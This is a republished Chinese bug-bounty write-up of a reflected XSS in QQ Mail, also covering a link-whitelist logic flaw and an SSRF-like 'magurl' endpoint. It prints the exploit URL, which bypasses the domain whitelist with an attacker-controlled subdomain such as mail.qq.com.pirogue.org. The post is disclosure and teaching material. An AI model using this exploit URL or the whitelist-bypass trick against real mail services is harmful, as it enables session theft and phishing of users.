QQ邮箱反射型xss漏洞

Posted 合天智汇

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了QQ邮箱反射型xss漏洞相关的知识,希望对你有一定的参考价值。

点击“合天智汇”关注,学习网安干货

QQ邮箱反射型xss漏洞

0x00  起因

QQ邮箱反射型xss漏洞

甲方“一个人的安全部”的时候,一个研发的同事在设计一项报表功能时,因为受到邮箱的安全限制无法很好的实现,于是将情况反馈给我。说实话,我对浏览器的安全也不太了解,案头的书翻了几页就没再动过,于是对比了腾讯邮箱的做法,发现了这个xss。


QQ邮箱反射型xss漏洞

0x01  背景

QQ邮箱反射型xss漏洞
QQ邮箱反射型xss漏洞


当然通过让厂商修改iframe的sandbox属性,改为sandbox=”allow-same-origin allow-popups allow-popups-to-escape-sandbox”,即可解决这个问题,但会影响邮箱的安全性。


于是我打开qq邮箱,发现QQ邮箱并没有这个iframe策略,而是通过一个三方“云端安全检测”,对邮件内连接进行拦截,提示用户要访问的页面可能有风险。

QQ邮箱反射型xss漏洞


QQ邮箱反射型xss漏洞

0x02  被src拒绝的“逻辑漏洞”

QQ邮箱反射型xss漏洞

于是多打开了几封QQ邮件,点击了邮件内的链接,发现腾讯对智联招聘、拉钩等招聘网站的链接不会进行拦截,直接放行跳转,所以这其中是否存在一定的逻辑绕过呢?


测试过程就省略了,说结果吧,个人认为验证逻辑上还是有些问题:

当邮件内容出现链接时,点击跳转,默认QQ邮箱会进行在云端进行拦截检测。但是会有白名单机制,比如 http://www.lagou.com ,会把拉钩的招聘链接进行放行,云端安全检测检->进行跳转放行,无任何提示。


现有的逻辑如下:

https://www.lagou.com 不放行(因为https,非白名单)


www.lagou.com 不放行(不带有http,非白名单)


http://xss.pirogue.org 不放行(非白名单)

等等其他域名都不放行。


但当第一行是http://www.lagou.com ,第二行的链接都会放行(除去色情或被举报的网址)。

比如:

QQ邮箱反射型xss漏洞


两个链接都会进行跳转。

如果第一个是http://www.lagou.com ,第二行的网址是一个钓鱼或挂马的链接,却没有被举报。那用户便可能会受到攻击。


后来的结果是大家都知道了,被忽略了。这点我没啥争议,不是漏洞也没关系,我想一探究竟,它是通过js获取邮件内的链接,遇到点击事件就丢到三方“云端url检测”的吗?所以在审计js代码的过程中,一不小心发现了一个类ssrf漏洞。


QQ邮箱反射型xss漏洞

0x03  鸡肋ssrf变身反射型xss

QQ邮箱反射型xss漏洞

ssrf漏洞


原功能链接:

https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://x.soso.com/js/xf/xflib2.0.js

这个cgi读取到了js的内容

QQ邮箱反射型xss漏洞


漏洞截图:

https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://ip.qq.com/

QQ邮箱反射型xss漏洞

但此ssrf限制了域名,比如.qq.com,.soso.com,等等腾讯自己的域名。所以除非你能再挖到腾讯自己的域名下的漏洞来结合使用。可是我们还可以测试一下是否可以绕过域名的白名单机制。


反射型xss漏洞

于是我构造了如下的url,成功绕过了白名单,提交了此漏洞:


构造的恶意链接:
http://mail.qq.com.pirogue.org/qq.com.html
内容如下:

QQ邮箱反射型xss漏洞

Exp:

https://mail.qq.com/cgi-bin/magurl?sid=e6tvxdAtN0XOUGoz&act=rep&url=http://mail.qq.com.pirogue.org/qq.com.html


QQ邮箱反射型xss漏洞


仔细看url链接里面存在一个sid,在后来的tsrc自测时发现,此sid只能是收件人的sid才能触发漏洞。额,有点self-xss的意思咯。但tsrc还是根据可能的危害程度,给了漏洞中危的回复。


QQ邮箱反射型xss漏洞

0x04   结语

QQ邮箱反射型xss漏洞

之前在搞一个目标的时候还挖到了一个QQ企业邮箱的存储型xss,但那个存储型xss没啥技术含量,而这个反射的起因到结果还是挺有趣的,所以迫不及待的想分享给大家。


本文转自博客:pirogue

原文链接:http://pirogue.org/2017/08/25/qqmailxss/


别忘了投稿哟!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!


合天网安实验室

网址 : www.hetianlab.com

长按图片,据说只有颜值高的人才能识别哦→

以上是关于QQ邮箱反射型xss漏洞的主要内容,如果未能解决你的问题,请参考以下文章

看图说话:反射式XSS(跨站)漏洞示例

存储型XSS与反射型XSS有啥区别

复现awvs———XSS(反射型)漏洞

DVWA平台的反射型XSS漏洞实验

代码审计学习之反射型XSS

安全牛学习笔记反射型XSS攻击漏洞的原理及解决办法